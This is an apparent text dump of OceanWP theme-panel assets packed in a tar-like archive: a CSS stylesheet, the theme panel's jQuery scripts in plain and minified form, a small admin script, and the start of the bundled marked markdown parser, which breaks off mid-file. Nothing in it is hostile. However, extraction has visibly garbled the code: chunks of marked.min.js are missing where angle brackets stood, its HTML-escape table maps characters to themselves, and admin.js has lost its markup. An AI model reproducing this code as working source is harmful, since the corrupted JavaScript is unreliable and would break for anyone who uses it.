margin-top: 15px; } .oceanwp-notify.active { display: block; position: fixed; z-index: 5000; font-size: 16px; } /** Columns **/ .row { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; margin-right: -15px; margin-left: -15px } .col { -ms-flex-preferred-size: 0; flex-basis: 0; -ms-flex-positive: 1; flex-grow: 1; max-width: 100% } .clearfix:before, .clearfix:after, .container:before, .container:after, .container-fluid:before, .container-fluid:after, .row:before, .row:after { display: table; content: " "; } .clearfix:after, .container:after, .container-fluid:after, .row:after { clear: both; } .oceanwp-tp-wrap h1, .oceanwp-tp-wrap h2, .oceanwp-tp-wrap h3, .oceanwp-tp-wrap h4, .oceanwp-tp-wrap h5, .oceanwp-tp-wrap h6, .oceanwp-tp-wrap ol, .oceanwp-tp-wrap p, .oceanwp-tp-wrap pre, .oceanwp-tp-wrap ul { margin-top: 0; } /** System Info **/ .oceanwp table { border-collapse: collapse; } .oceanwp .table { width: 100%; max-width: 100%; margin-bottom: 1rem; background-color: transparent; } .oceanwp .table th, .oceanwp .table td { padding: 0.75rem; vertical-align: top; border-top: 1px solid #dee2e6; } .oceanwp .table thead th { vertical-align: bottom; } .oceanwp .table tbody+tbody { border-top: 2px solid #dee2e6; } .oceanwp .table .thead-light th { color: #495057; background-color: #F0F0F0; } .oceanwp .table-dark { color: #fff; background-color: #212529; } .oceanwp .table-dark th, .oceanwp .table-dark td, .oceanwp .table-dark thead th { border-color: #32383e; } .oceanwp .table-dark.table-bordered { border: 0; } .oceanwp .table-dark.table-striped tbody tr:nth-of-type(odd) { background-color: rgba(255, 255, 255, 0.05); } .oceanwp .table-dark.table-hover tbody tr:hover { background-color: rgba(255, 255, 255, 0.075); } .table td:first-child { width: 33%; } .table td.help { width: 20px; padding-right: 0; padding-left: 0; } .status-state { width: 20px; height: 20px; display: inline-block; vertical-align: bottom; } .status-state .spinner { float: none; margin: 0; } .status-true { background: url('../../../assets/images/icons/check-mark.svg') no-repeat; background-size: contain; } .status-false { background: url('../../../assets/images/icons/x-mark.svg') no-repeat; background-size: contain; } .status-invisible { visibility: hidden; position: absolute; left: 0; top: 0; } #oceanwp-textarea--get-system-report { display: none; margin: 10px 0; padding: 0; position: relative; } #oceanwp-textarea--get-system-report textarea { font-family: monospace; width: 100%; margin: 0; height: 300px; padding: 20px; border-radius: 0; resize: none; font-size: 12px; line-height: 20px; outline: 0; margin-bottom: 15px; } #get-system-report-button.oceanwp-button--get-system-report { float: right; margin: 20px 0; } .rtl .oceanwp-button--get-system-report { left: 25px; right: initial; } .oceanwp-wrap code { font-size: 87.5%; color: #e83e8c; word-break: break-word; } .oceanwp-tp-wrap .pro-plugins-update-notice { padding: 10px 20px; } .oceanwp-tp-tooltip { display: none; } .oceanwp-tp-wrap .button.upgrade-button { background: rgba(92, 184, 17, 0.9); border-radius: 3px; padding: 5px 15px; } /** White Label**/ #oceanwp-tp-white-label input[type="text"], #oceanwp-tp-white-label textarea { min-width: 400px; } #oceanwp-tp-white-label th { min-width: 220px; } #oceanwp-tp-white-label #oceanwp_branding_screenshot_tr img { width: 100%; } #oceanwp-tp-white-label.oceanwp-tp-pane-box input[type="checkbox"]~p:not(.oceanwp-tp-block-description) { display: inline-block; } /** Preloader **/ .oceanwp-tp-preloader { display: none; } .oceanwp-tp-panes.loading-pane .oceanwp-tp-preloader { display: block; opacity: 0.7; position: fixed; left: 0; top: 0; z-index: 1001; background: #fafafa; height: 100vh; width: 100vw; overflow: hidden; } .oceanwp-tp-loader { position: relative; top: 50%; left: 50%; height: 5rem; width: 5rem; border-radius: 50%; border: 10px solid #ffb100; border-top-color: #06214e; box-sizing: border-box; background: transparent; animation: loading 1s linear infinite; } @keyframes loading { 0% { transform: rotate(0deg); } 0% { transform: rotate(360deg); } } @media (min-width: 768px) and (max-width: 1024px) { .oceanwp-tp-top-panel-inner { max-width: unset; } .oceanwp-tp-panes { margin-left: 180px; } .oceanwp-tp-wrap { max-width: unset; min-width: unset; } a.oceanwp-tp-sidebar-link { margin: 15px 20px 15px 8px; font-size: 16px; } #ocean-customizer-items, #ocean-elementor-widgets-items, #ocean-gutenberg-blocks-items, #ocean-metabox-items, #ocean-widget-items, .oceanwp-tp-recommended-plugins-section, .oceanwp-tp-useful-plugins-section { justify-content: space-between; } #ocean-customizer-items div, #ocean-elementor-widgets-items div, #ocean-gutenberg-blocks-items div, #ocean-metabox-items div, #ocean-widget-items>div { flex-basis: 38%; } #install-demos .theme-wrap { width: 40%; } .oceanwp-tp-recommended-plugins-section>div, .oceanwp-tp-useful-plugins-section>div { flex-basis: 100%; } #oceanwp-tp-white-label th { min-width: auto; } #oceanwp-tp-help .oceanwp-tp-help-section { display: block; } .quick-settings>div { flex-basis: 43%; } } @media (min-width: 320px) and (max-width: 480px) { .oceanwp-tp-header { display: flex; flex-direction: column; padding: 0; } .oceanwp-tp-branding { display: flex; flex-direction: column; align-items: center; } .oceanwp-tp-branding strong { padding-left: 0; } .oceanwp-tp-sidebar { width: auto; float: none; position: relative; } .oceanwp-tp-panes { margin-left: 0; width: auto; } .oceanwp-tp-wrap { min-width: auto; } .oceanwp-tp-theme-version { align-self: flex-end; } .oceanwp-tp-top-panel, .oceanwp-tp-upgrade-button-wrap { justify-content: flex-start; } .oceanwp-tp-pane-box { padding: 10px; } #oceanwp-tp-home .oceanwp-tp-large-block { margin: 20px; padding: 20px; } .quick-settings>div { flex-basis: 100%; } /* .oceanwp-tp-sidebar-list { margin-left: 8%; } */ /* .oceanwp-tp-block-outer { display: inline-block; } */ #oceanwp-tp-customizer .oceanwp-tp-large-block { margin: 20px; padding: 15px; } #ocean-customizer-items div, #ocean-gutenberg-blocks-items div, #ocean-elementor-widgets-items div, #ocean-widget-items>div, #ocean-metabox-items div { flex-basis: 100%; } #install-demos .theme-wrap { width: 100%; } .oceanwp-tp-useful-plugins-section>div, .oceanwp-tp-recommended-plugins-section>div { flex-basis: 100%; } .col { flex-basis: fit-content; } } themepanel/assets/js/theme-panel.js000064400000025150151551031110013335 0ustar00// Document Ready jQuery(document).ready(function ($) { var ThemePanelWrap = $('.oceanwp-tp-wrap'); var ThemePanelSidebar = ThemePanelWrap.find('.oceanwp-tp-sidebar'); var ThemePanelPanes = ThemePanelWrap.find('.oceanwp-tp-panes'); var hash = window.location.hash; var slug = hash.substring(1, hash.length); if (hash && slug && slug !== oceanwpThemePanel.initialSection) { tpGoTo(slug); } setTimeout(function() { loadSidebarWarnings(); }, 1000); window['showNotify'] = function (status = 'success', message = 'Saved successfully', timeout = true) { if (status) { window['addSuccessNotify'](message, timeout); } else { window['addFailureNotify'](message, timeout); } } window['addSuccessNotify'] = function addSuccessNotify(message = 'Saved successfully', timeout = true, seconds = 4000) { $('#oceanwp-notifyType').text(message); $(".oceanwp-notify").removeClass("failure"); $(".oceanwp-notify").addClass("active success"); if (timeout) { setTimeout(function () { $(".oceanwp-notify").removeClass("active"); }, seconds); } } window['addFailureNotify'] = function (message = 'Something went wrong', timeout = true) { $('#oceanwp-notifyType').text(message); $(".oceanwp-notify").removeClass("success"); $(".oceanwp-notify").addClass("active failure"); if (timeout) { setTimeout(function () { $(".oceanwp-notify").removeClass("active"); }, 4000); } } wp.updates.oceanwp_update_pluginSuccessInstalled = function (data) { $(document).trigger('wp-plugin-install-success', data); window['showNotify']('success', oceanwp_cp_textdomain.plugin_is_successfully_installed, false); var $btn = jQuery('[data-plugin-slug="' + data.slug + '"]'); if ($btn.length) { $btn.removeClass('disabled'); $btn.text(oceanwp_cp_textdomain.installed); } if (data.slug) { setTimeout(function () { window.location.reload(); }, 1000); } } wp.updates.oceanwp_update_pluginSuccessUpdated = function (data) { window['showNotify']('success', oceanwp_cp_textdomain.plugin_is_successfully_updated, false); var $btn = jQuery('[data-plugin-slug="' + data.slug + '"]'); if ($btn.length) { $btn.removeClass('disabled'); $btn.text(oceanwp_cp_textdomain.Updated); } if (data.slug) { setTimeout(function () { window.location.reload(); }, 1000); } } wp.updates.oceanwp_update_themeSuccess = function (data) { window['showNotify']('success', oceanwp_cp_textdomain.child_theme_installed, false); var $btn = jQuery('.oceanwp_install_child_theme'); if ($btn.length) { $btn.removeClass('disabled'); $btn.text(oceanwp_cp_textdomain.installed); } setTimeout(function () { window.location.reload(); }, 1000); } wp.updates.oceanwp_update_pluginInstalling = function (data) { window['showNotify']('success', oceanwp_cp_textdomain.installing_plugin, false); } wp.updates.oceanwp_update_pluginUpdating = function (data) { window['showNotify']('success', oceanwp_cp_textdomain.updating_plugin, false); } wp.updates.oceanwp_update_themeInstalling = function (data) { window['showNotify']('success', oceanwp_cp_textdomain.installing_child_theme, false); } wp.updates.oceanwp_update_pluginError = function (xhr, status, error) { window['showNotify']('error', error); } $(document).on('click', '.oceanwp-tp-sidebar-link, .oceanwp-tp-topbar-link', function (event) { event.preventDefault(); var $this = $(this); var hash = $this.attr('href'); var slug = hash.substring(1, hash.length); window.location.hash = hash; tpGoTo(slug); }); $(document).on('click', 'li.wp-menu-open.toplevel_page_oceanwp ul > li > a', function (event) { var $this = $(this); var href = $this.attr('href'); var href_parts = href.split("#"); if( window.location.href.indexOf('page=oceanwp#') !== -1 && href.indexOf('page=oceanwp#') !== -1 && href_parts.length > 1 ) { event.preventDefault(); window.location.hash = href_parts[1]; tpGoTo(href_parts[1]); } }); $(document).on('click', '#wp-admin-bar-ocean-menu-default>li>a', function (event) { let url = new URL($(this).attr('href')); if( url.hash && $('.oceanwp-tp-sidebar-link[href="'+url.hash+'"]').length ) { event.preventDefault(); $('.oceanwp-tp-sidebar-link[href="'+url.hash+'"]').trigger('click'); } }); $(document).on('click', '.oceanwp_install_plugin', function (event) { event.preventDefault(); $(this).addClass('disabled'); var args = { slug: $(this).data('pluginSlug'), success: wp.updates.oceanwp_update_pluginSuccessInstalled, error: wp.updates.oceanwp_update_pluginError, beforeSend: wp.updates.oceanwp_update_pluginInstalling }; wp.updates.ajax('install-plugin', args) }); $(document.body).on('click', '#ocean-fonts-clear .btn', function (event) { event.preventDefault(); clearLocalFonts(); }); $(document).on( 'click', '.oceanwp_update_plugin', function( event ) { var $button = $( event.target ); event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); var args = { plugin: $button.data( 'plugin' ), slug: $button.data( 'slug' ), success: wp.updates.oceanwp_update_pluginSuccessUpdated, error: wp.updates.oceanwp_update_pluginError, beforeSend: wp.updates.oceanwp_update_pluginUpdating }; $(document).trigger( 'wp-plugin-updating', args ); wp.updates.ajax( 'update-plugin', args ); } ); $(document).on('click', '.oceanwp_install_child_theme', function (event) { event.preventDefault(); $(this).addClass('disabled'); $.ajax({ method: 'POST', url: _wpUtilSettings.ajax.url, data: { action: 'oceanwp_cp_child_theme_install', nonce: oceanwpThemePanel.nonce, }, success: wp.updates.oceanwp_update_themeSuccess, error: wp.updates.oceanwp_update_pluginError, beforeSend: wp.updates.oceanwp_update_themeInstalling, }); }); function tpGoTo(slug) { var selectorLink = '.oceanwp-tp-sidebar-link[href="#'+slug+'"]'; if( $(selectorLink).length < 1 ) { slug = 'home'; window.location.href = '#home'; } ThemePanelPanes.addClass('loading-pane'); $.ajax({ type: 'POST', url: _wpUtilSettings.ajax.url, data: { action: 'oceanwp_cp_load_pane_action', slug: slug }, success: function success(res) { ThemePanelPanes.empty(); ThemePanelPanes.append(res.data); ThemePanelPanes.removeClass('loading-pane'); ThemePanelSidebar.find('.oceanwp-is-active').removeClass('oceanwp-is-active'); ThemePanelSidebar.find('[href=#' + slug + ']').parent().addClass('oceanwp-is-active'); if (slug == 'install-demos' && window['owpDemoImport'] !== undefined) { window['owpDemoImport'].init(); } if( slug == 'system-info' && window['owpSystemInfoGetter'] !== undefined ) { window['owpSystemInfoGetter'](); } if(slug == 'white-label' && window['init_white_label_uploader'] !== undefined) { window['init_white_label_uploader'](); } if(slug == 'customizer') { maybeAllCheckboxesActive(); } initHandlersAfterLoadPanel(); } }); } function maybeAllCheckboxesActive() { let allCheckboxes = $('#ocean-customizer-items').find('input[type="checkbox"]'); let allCheckboxesLength = allCheckboxes.length; let checkedCheckboxes = 0; allCheckboxes.each(function() { if( $(this).prop('checked') ) { checkedCheckboxes++; } }); if( allCheckboxesLength == checkedCheckboxes ) { $('#customizer-reset-bulk').prop('checked', true); } } function initHandlersAfterLoadPanel() { if($('#owp_recaptcha_version').length) { $('#owp_recaptcha_version').trigger('change'); } if($('#owp_api_images_integration').length) { jQuery('#owp_api_images_integration').trigger('change'); } $( document.body ).trigger( 'op_panel_loaded' ); } function loadSidebarWarnings() { $.ajax({ type: 'POST', url: _wpUtilSettings.ajax.url, data: { action: 'oceanwp_cp_load_sidebar_warnings_action' }, success: function success(res) { if( res.success ) { for( var item_key in res.data ) { var selector = '.oceanwp-tp-sidebar-link[href="#'+item_key+'"]'; if( $(selector).length ) { $(selector).find('.oceanwp-tp-warning-badge').remove(); $(selector).append(res.data[item_key]); } } } } }); } function clearLocalFonts() { var confirmReset = confirm('Do you really want to clear local google fonts data?'); if (confirmReset) { $.ajax({ url: ajaxurl, method: "POST", data: { nonce: oceanwpThemePanel.nonce, action: 'oceanwp_cp_fonts_clear', }, beforeSend: function () { window['showNotify']('success', oceanwp_cp_textdomain.fonts_clearing); }, success: function (data) { window['showNotify'](data.success, data.data.message); }, error: function (xhr, status, error) { }, complete: function () { } }); } } }); themepanel/assets/js/theme-panel.min.js000064400000013657151551031110014130 0ustar00jQuery(document).ready(function(e){function n(n){var o='.oceanwp-tp-sidebar-link[href="#'+n+'"]';e(o).length<1&&(n="home",window.location.href="#home"),p.addClass("loading-pane"),e.ajax({type:"POST",url:_wpUtilSettings.ajax.url,data:{action:"oceanwp_cp_load_pane_action",slug:n},success:function(e){p.empty(),p.append(e.data),p.removeClass("loading-pane"),s.find(".oceanwp-is-active").removeClass("oceanwp-is-active"),s.find("[href=#"+n+"]").parent().addClass("oceanwp-is-active"),"install-demos"==n&&void 0!==window.owpDemoImport&&window.owpDemoImport.init(),"system-info"==n&&void 0!==window.owpSystemInfoGetter&&window.owpSystemInfoGetter(),"white-label"==n&&void 0!==window.init_white_label_uploader&&window.init_white_label_uploader(),"customizer"==n&&a(),t()}})}function a(){let n=e("#ocean-customizer-items").find('input[type="checkbox"]'),a=n.length,t=0;n.each(function(){e(this).prop("checked")&&t++}),a==t&&e("#customizer-reset-bulk").prop("checked",!0)}function t(){e("#owp_recaptcha_version").length&&e("#owp_recaptcha_version").trigger("change"),e("#owp_api_images_integration").length&&jQuery("#owp_api_images_integration").trigger("change"),e(document.body).trigger("op_panel_loaded")}function o(){e.ajax({type:"POST",url:_wpUtilSettings.ajax.url,data:{action:"oceanwp_cp_load_sidebar_warnings_action"},success:function(n){if(n.success)for(var a in n.data){var t='.oceanwp-tp-sidebar-link[href="#'+a+'"]';e(t).length&&(e(t).find(".oceanwp-tp-warning-badge").remove(),e(t).append(n.data[a]))}}})}function i(){var n=confirm("Do you really want to clear local google fonts data?");n&&e.ajax({url:ajaxurl,method:"POST",data:{nonce:oceanwpThemePanel.nonce,action:"oceanwp_cp_fonts_clear"},beforeSend:function(){window.showNotify("success",oceanwp_cp_textdomain.fonts_clearing)},success:function(e){window.showNotify(e.success,e.data.message)},error:function(e,n,a){},complete:function(){}})}var c=e(".oceanwp-tp-wrap"),s=c.find(".oceanwp-tp-sidebar"),p=c.find(".oceanwp-tp-panes"),d=window.location.hash,l=d.substring(1,d.length);d&&l&&l!==oceanwpThemePanel.initialSection&&n(l),setTimeout(function(){o()},1e3),window.showNotify=function(e="success",n="Saved successfully",a=!0){e?window.addSuccessNotify(n,a):window.addFailureNotify(n,a)},window.addSuccessNotify=function(n="Saved successfully",a=!0,t=4e3){e("#oceanwp-notifyType").text(n),e(".oceanwp-notify").addClass("active"),e("#oceanwp-notifyType").addClass("success"),a&&setTimeout(function(){e(".oceanwp-notify").removeClass("active"),e("#oceanwp-notifyType").removeClass("success")},t)},window.addFailureNotify=function(n="Something went wrong",a=!0){e("#oceanwp-notifyType").text(n),e(".oceanwp-notify").addClass("active"),e("#oceanwp-notifyType").addClass("failure"),a&&setTimeout(function(){e(".oceanwp-notify").removeClass("active"),e("#oceanwp-notifyType").removeClass("failure")},4e3)},wp.updates.oceanwp_update_pluginSuccessInstalled=function(n){e(document).trigger("wp-plugin-install-success",n),window.showNotify("success",oceanwp_cp_textdomain.plugin_is_successfully_installed,!1);var a=jQuery('[data-plugin-slug="'+n.slug+'"]');a.length&&(a.removeClass("disabled"),a.text(oceanwp_cp_textdomain.installed)),n.slug&&setTimeout(function(){window.location.reload()},1e3)},wp.updates.oceanwp_update_pluginSuccessUpdated=function(e){window.showNotify("success",oceanwp_cp_textdomain.plugin_is_successfully_updated,!1);var n=jQuery('[data-plugin-slug="'+e.slug+'"]');n.length&&(n.removeClass("disabled"),n.text(oceanwp_cp_textdomain.Updated)),e.slug&&setTimeout(function(){window.location.reload()},1e3)},wp.updates.oceanwp_update_themeSuccess=function(e){window.showNotify("success",oceanwp_cp_textdomain.child_theme_installed,!1);var n=jQuery(".oceanwp_install_child_theme");n.length&&(n.removeClass("disabled"),n.text(oceanwp_cp_textdomain.installed)),setTimeout(function(){window.location.reload()},1e3)},wp.updates.oceanwp_update_pluginInstalling=function(e){window.showNotify("success",oceanwp_cp_textdomain.installing_plugin,!1)},wp.updates.oceanwp_update_pluginUpdating=function(e){window.showNotify("success",oceanwp_cp_textdomain.updating_plugin,!1)},wp.updates.oceanwp_update_themeInstalling=function(e){window.showNotify("success",oceanwp_cp_textdomain.installing_child_theme,!1)},wp.updates.oceanwp_update_pluginError=function(e,n,a){window.showNotify("error",a)},e(document).on("click",".oceanwp-tp-sidebar-link, .oceanwp-tp-topbar-link",function(a){a.preventDefault();var t=e(this),o=t.attr("href"),i=o.substring(1,o.length);window.location.hash=o,n(i)}),e(document).on("click","#wp-admin-bar-ocean-menu-default>li>a",function(n){let a=new URL(e(this).attr("href"));a.hash&&e('.oceanwp-tp-sidebar-link[href="'+a.hash+'"]').length&&(n.preventDefault(),e('.oceanwp-tp-sidebar-link[href="'+a.hash+'"]').trigger("click"))}),e(document).on("click",".oceanwp_install_plugin",function(n){n.preventDefault(),e(this).addClass("disabled");var a={slug:e(this).data("pluginSlug"),success:wp.updates.oceanwp_update_pluginSuccessInstalled,error:wp.updates.oceanwp_update_pluginError,beforeSend:wp.updates.oceanwp_update_pluginInstalling};wp.updates.ajax("install-plugin",a)}),e(document.body).on("click","#ocean-fonts-clear .btn",function(e){e.preventDefault(),i()}),e(document).on("click",".oceanwp_update_plugin",function(n){var a=e(n.target);n.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(n);var t={plugin:a.data("plugin"),slug:a.data("slug"),success:wp.updates.oceanwp_update_pluginSuccessUpdated,error:wp.updates.oceanwp_update_pluginError,beforeSend:wp.updates.oceanwp_update_pluginUpdating};e(document).trigger("wp-plugin-updating",t),wp.updates.ajax("update-plugin",t)}),e(document).on("click",".oceanwp_install_child_theme",function(n){n.preventDefault(),e(this).addClass("disabled"),e.ajax({method:"POST",url:_wpUtilSettings.ajax.url,data:{action:"oceanwp_cp_child_theme_install",nonce:oceanwpThemePanel.nonce},success:wp.updates.oceanwp_update_themeSuccess,error:wp.updates.oceanwp_update_pluginError,beforeSend:wp.updates.oceanwp_update_themeInstalling})})});themepanel/assets/js/admin.js000064400000001373151551031110012227 0ustar00// Document Ready jQuery(document).ready(function ($) { setTimeout(function() { loadAwaitingMods(); }, 1000); function loadAwaitingMods() { $.ajax({ type: 'POST', url: _wpUtilSettings.ajax.url, data: { action: 'oceanwp_cp_load_awaiting_mods_action' }, success: function success(res) { if( res.success ) { let container = jQuery('a.toplevel_page_oceanwp').find('.wp-menu-name') if( container.length ) { container .append(`${res.data.count}`); } } } }); } });themepanel/assets/js/marked.min.js000064400000135041151551031110013164 0ustar00/** * marked - a markdown parser * Copyright (c) 2011-2022, Christopher Jeffrey. (MIT Licensed) * https://github.com/markedjs/marked */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e||self).marked={})}(this,function(r){"use strict";function i(e,t){for(var u=0;ue.length)&&(t=e.length);for(var u=0,n=new Array(t);u=e.length?{done:!0}:{done:!1,value:e[n++]}}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function e(){return{baseUrl:null,breaks:!1,extensions:null,gfm:!0,headerIds:!0,headerPrefix:"",highlight:null,langPrefix:"language-",mangle:!0,pedantic:!1,renderer:null,sanitize:!1,sanitizer:null,silent:!1,smartLists:!1,smartypants:!1,tokenizer:null,walkTokens:null,xhtml:!1}}r.defaults=e();function u(e){return t[e]}var n=/[&<>"']/,l=/[&<>"']/g,a=/[<>"']|&(?!#?\w+;)/,o=/[<>"']|&(?!#?\w+;)/g,t={"&":"&","<":"<",">":">",'"':""","'":"'"};function D(e,t){if(t){if(n.test(e))return e.replace(l,u)}else if(a.test(e))return e.replace(o,u);return e}var c=/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/gi;function m(e){return e.replace(c,function(e,t){return"colon"===(t=t.toLowerCase())?":":"#"===t.charAt(0)?"x"===t.charAt(1)?String.fromCharCode(parseInt(t.substring(2),16)):String.fromCharCode(+t.substring(1)):""})}var h=/(^|[^\[])\^/g;function p(u,e){u=u.source||u,e=e||"";var n={replace:function(e,t){return t=(t=t.source||t).replace(h,"$1"),u=u.replace(e,t),n},getRegex:function(){return new RegExp(u,e)}};return n}var f=/[^\w:]/g,g=/^$|^[a-z][a-z0-9+.-]*:|^[?#]/i;function F(e,t,u){if(e){var n;try{n=decodeURIComponent(m(u)).replace(f,"").toLowerCase()}catch(e){return null}if(0===n.indexOf("javascript:")||0===n.indexOf("vbscript:")||0===n.indexOf("data:"))return null}t&&!g.test(u)&&(u=function(e,t){A[" "+e]||(d.test(e)?A[" "+e]=e+"/":A[" "+e]=w(e,"/",!0));var u=-1===(e=A[" "+e]).indexOf(":");return"//"===t.substring(0,2)?u?t:e.replace(C,"$1")+t:"/"===t.charAt(0)?u?t:e.replace(k,"$1")+t:e+t}(t,u));try{u=encodeURI(u).replace(/%25/g,"%")}catch(e){return null}return u}var A={},d=/^[^:]+:\/*[^/]*$/,C=/^([^:]+:)[\s\S]*$/,k=/^([^:]+:\/*[^/]*)[\s\S]*$/;var E={exec:function(){}};function b(e){for(var t,u,n=1;nt)u.splice(t);else for(;u.length>=1,e+=e;return u+e}function _(e,t,u,n){var r=t.href,i=t.title?D(t.title):null,t=e[1].replace(/\\([\[\]])/g,"$1");if("!"===e[0].charAt(0))return{type:"image",raw:u,href:r,title:i,text:D(t)};n.state.inLink=!0;t={type:"link",raw:u,href:r,title:i,text:t,tokens:n.inlineTokens(t,[])};return n.state.inLink=!1,t}var z=function(){function e(e){this.options=e||r.defaults}var t=e.prototype;return t.space=function(e){e=this.rules.block.newline.exec(e);if(e&&0=u.length?e.slice(u.length):e}).join("\n")}(u,t[3]||"");return{type:"code",raw:u,lang:t[2]&&t[2].trim(),text:e}}},t.heading=function(e){var t=this.rules.block.heading.exec(e);if(t){var u=t[2].trim();/#$/.test(u)&&(e=w(u,"#"),!this.options.pedantic&&e&&!/ $/.test(e)||(u=e.trim()));u={type:"heading",raw:t[0],depth:t[1].length,text:u,tokens:[]};return this.lexer.inline(u.text,u.tokens),u}},t.hr=function(e){e=this.rules.block.hr.exec(e);if(e)return{type:"hr",raw:e[0]}},t.blockquote=function(e){var t=this.rules.block.blockquote.exec(e);if(t){e=t[0].replace(/^ *> ?/gm,"");return{type:"blockquote",raw:t[0],tokens:this.lexer.blockTokens(e,[]),text:e}}},t.list=function(e){var t=this.rules.block.list.exec(e);if(t){var u,n,r,i,s,l,a,o,D,c,h,p=1<(g=t[1].trim()).length,f={type:"list",raw:"",ordered:p,start:p?+g.slice(0,-1):"",loose:!1,items:[]},g=p?"\\d{1,9}\\"+g.slice(-1):"\\"+g;this.options.pedantic&&(g=p?g:"[*+-]");for(var F=new RegExp("^( {0,3}"+g+")((?: [^\\n]*)?(?:\\n|$))");e&&(h=!1,t=F.exec(e))&&!this.rules.block.hr.test(e);){if(u=t[0],e=e.substring(u.length),a=t[2].split("\n",1)[0],o=e.split("\n",1)[0],this.options.pedantic?(i=2,c=a.trimLeft()):(i=t[2].search(/[^ ]/),c=a.slice(i=4=i||!a.trim())c+="\n"+a.slice(i);else{if(s)break;c+="\n"+a}s||a.trim()||(s=!0),u+=D+"\n",e=e.substring(D.length+1)}f.loose||(l?f.loose=!0:/\n *\n *$/.test(u)&&(l=!0)),this.options.gfm&&(n=/^\[[ xX]\] /.exec(c))&&(r="[ ] "!==n[0],c=c.replace(/^\[[ xX]\] +/,"")),f.items.push({type:"list_item",raw:u,task:!!n,checked:r,loose:!1,text:c}),f.raw+=u}f.items[f.items.length-1].raw=u.trimRight(),f.items[f.items.length-1].text=c.trimRight(),f.raw=f.raw.trimRight();for(var d=f.items.length,C=0;C/i.test(e[0])&&(this.lexer.state.inLink=!1),!this.lexer.state.inRawBlock&&/^<(pre|code|kbd|script)(\s|>)/i.test(e[0])?this.lexer.state.inRawBlock=!0:this.lexer.state.inRawBlock&&/^<\/(pre|code|kbd|script)(\s|>)/i.test(e[0])&&(this.lexer.state.inRawBlock=!1),{type:this.options.sanitize?"text":"html",raw:e[0],inLink:this.lexer.state.inLink,inRawBlock:this.lexer.state.inRawBlock,text:this.options.sanitize?this.options.sanitizer?this.options.sanitizer(e[0]):D(e[0]):e[0]}},t.link=function(e){var t=this.rules.inline.link.exec(e);if(t){e=t[2].trim();if(!this.options.pedantic&&/^$/.test(e))return;var u=w(e.slice(0,-1),"\\");if((e.length-u.length)%2==0)return}else{var n=function(e,t){if(-1===e.indexOf(t[1]))return-1;for(var u=e.length,n=0,r=0;r$/.test(e)?u.slice(1):u.slice(1,-1):u)&&u.replace(this.rules.inline._escapes,"$1"),title:n&&n.replace(this.rules.inline._escapes,"$1")},t[0],this.lexer)}},t.reflink=function(e,t){if((u=this.rules.inline.reflink.exec(e))||(u=this.rules.inline.nolink.exec(e))){var e=(u[2]||u[1]).replace(/\s+/g," ");if((e=t[e.toLowerCase()])&&e.href)return _(u,e,u[0],this.lexer);var u=u[0].charAt(0);return{type:"text",raw:u,text:u}}},t.emStrong=function(e,t,u){void 0===u&&(u="");var n=this.rules.inline.emStrong.lDelim.exec(e);if(n&&(!n[3]||!u.match(/(?:[0-9A-Za-z\xAA\xB2\xB3\xB5\xB9\xBA\xBC-\xBE\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0560-\u0588\u05D0-\u05EA\u05EF-\u05F2\u0620-\u064A\u0660-\u0669\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07C0-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u0860-\u086A\u0870-\u0887\u0889-\u088E\u08A0-\u08C9\u0904-\u0939\u093D\u0950\u0958-\u0961\u0966-\u096F\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09E6-\u09F1\u09F4-\u09F9\u09FC\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A66-\u0A6F\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AE6-\u0AEF\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B66-\u0B6F\u0B71-\u0B77\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0BE6-\u0BF2\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C66-\u0C6F\u0C78-\u0C7E\u0C80\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDD\u0CDE\u0CE0\u0CE1\u0CE6-\u0CEF\u0CF1\u0CF2\u0D04-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D54-\u0D56\u0D58-\u0D61\u0D66-\u0D78\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DE6-\u0DEF\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E50-\u0E59\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00\u0F20-\u0F33\u